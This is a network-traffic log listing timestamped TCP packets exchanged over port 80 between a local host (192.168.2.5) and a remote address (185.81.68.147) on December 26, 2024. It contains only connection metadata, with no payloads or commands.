Dec 26, 2024 12:05:10.795803070 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.795823097 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.796559095 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.796684980 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.796706915 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.796725035 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.797617912 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.797715902 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.797763109 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.798621893 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.798666954 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.798748016 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.798794031 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.799623966 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.799709082 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.799742937 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.799802065 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.800654888 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.800730944 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.800811052 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.801728964 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.801790953 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.801866055 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.802699089 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.802802086 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.803066015 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.803724051 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.803771019 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.803874016 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.803967953 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.804775953 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.804881096 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.804889917 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.804959059 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.805902958 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.805947065 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.806133032 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.806253910 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.806824923 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.806895018 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.806957006 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.807910919 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.807987928 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.808067083 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.808163881 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.808902025 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.808947086 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.808985949 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.809041977 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.809937954 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.810128927 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.810178995 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.810976028 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.811168909 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.811183929 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.811345100 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.812266111 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.812411070 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.812446117 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.812499046 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.813282967 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.813345909 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.813992977 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.814018965 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.814064980 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.814222097 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.814239025 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.815023899 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.815175056 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.815222979 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.816164017 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.816247940 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.816298962 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.817043066 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.817142010 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.817173004 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.817195892 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.818209887 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.818274021 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.818363905 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.819099903 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.819144011 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.819288969 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.819447041 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.820135117 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.820240974 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.820288897 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.820328951 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.821186066 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.821293116 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.821306944 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.821342945 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.822211027 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.822405100 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.822452068 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.823265076 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.823378086 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.823776960 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.823854923 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.824261904 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.824306011 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.824342966 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.824390888 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.825249910 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.825404882 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.825438976 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.825572968 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.826338053 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.826409101 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.826483011 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.827297926 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.827347040 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.827410936 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.827456951 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.828361034 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.828409910 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.828452110 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.828521967 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.829452038 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.829534054 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.829575062 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.829623938 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.830302954 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.834093094 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.882663012 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.882813931 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.987188101 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.987231016 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.987327099 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.002302885 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.002396107 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.002553940 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.002804041 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.002850056 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.002886057 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.002981901 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.003928900 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.003993988 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.004160881 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.004208088 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.004873037 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.004934072 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.004972935 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.005018950 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.005923033 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.006014109 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.006237984 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.007411003 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.007482052 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.007616997 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.007699013 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.008344889 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.008393049 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.008434057 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.008496046 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.009277105 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.009321928 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.009367943 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.009411097 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.009984016 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.010071993 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.010129929 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.010991096 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.011054039 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.011085987 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.011137962 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.012038946 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.012108088 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.012136936 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.012260914 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.013047934 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.013174057 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.013204098 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.013235092 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.014066935 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.014219999 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.014262915 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.015101910 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.015182018 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.015418053 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.015491962 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.016115904 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.016163111 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.016207933 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.016278028 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.017136097 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.017232895 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.017256975 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.017311096 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.018153906 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.018256903 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.018316031 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.019174099 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.019287109 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.019309998 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.019442081 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.020226955 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.020282030 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.020314932 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.020561934 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.021256924 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.021359921 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.021373987 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.021413088 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.022265911 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.022382021 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.022406101 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.022448063 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.023300886 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.023375988 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.023457050 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.023575068 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.024302959 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.024342060 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.024369001 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.024400949 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.025599957 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.025693893 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.025727034 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.026452065 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.026506901 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.026551008 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.026628971 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.027410030 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.027493000 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.027570009 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.028652906 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.028714895 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.028742075 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.028780937 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.029488087 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.029527903 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.029565096 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.029608011 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.030467987 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.030570030 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.030586958 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.030668020 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.031639099 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.031693935 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.031725883 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.031771898 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.032538891 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.032594919 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.032635927 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.032654047 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.033689976 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.033696890 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.033709049 CET	80	49711	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.033735037 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.033830881 CET	49711	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.033869028 CET	80	49711	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.033965111 CET	49711	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.034559011 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.034723043 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.034976006 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.034976006 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.035185099 CET	49711	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.035604000 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.035705090 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.035720110 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.035773993 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.036915064 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.036969900 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.037035942 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.037169933 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.037753105 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.037807941 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.037812948 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.037870884 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.038675070 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.038773060 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.038820982 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.038949966 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.039690971 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.039805889 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.039870024 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.040749073 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.040785074 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.040842056 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.041766882 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.041866064 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.041899920 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.042783976 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.042831898 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.042898893 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.043037891 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.043817997 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.043895006 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.043992996 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.044136047 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.044843912 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.044908047 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.044997931 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.045886993 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.046003103 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.046066046 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.046124935 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.046869040 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.046935081 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.047051907 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.047235966 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.047902107 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.047971010 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.048006058 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.048049927 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.048930883 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.048996925 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.049035072 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.049082041 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.049945116 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.049989939 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.050019979 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.050060987 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.051013947 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.051166058 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.051213980 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.052011967 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.052053928 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.052057981 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.052115917 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.053071976 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.053211927 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.053217888 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.053334951 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.054044008 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.054114103 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.054147959 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.054199934 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.055062056 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.055160999 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.154664040 CET	80	49711	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.167993069 CET	49712	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.197981119 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.198057890 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.198189974 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.198282003 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.198400021 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.198445082 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.198519945 CET	80	49708	185.81.68.147	192.168.2.5
